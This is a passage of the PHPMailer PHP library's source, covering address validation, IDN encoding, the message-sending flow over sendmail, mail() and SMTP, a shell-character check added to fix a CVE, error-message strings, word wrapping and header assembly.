            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
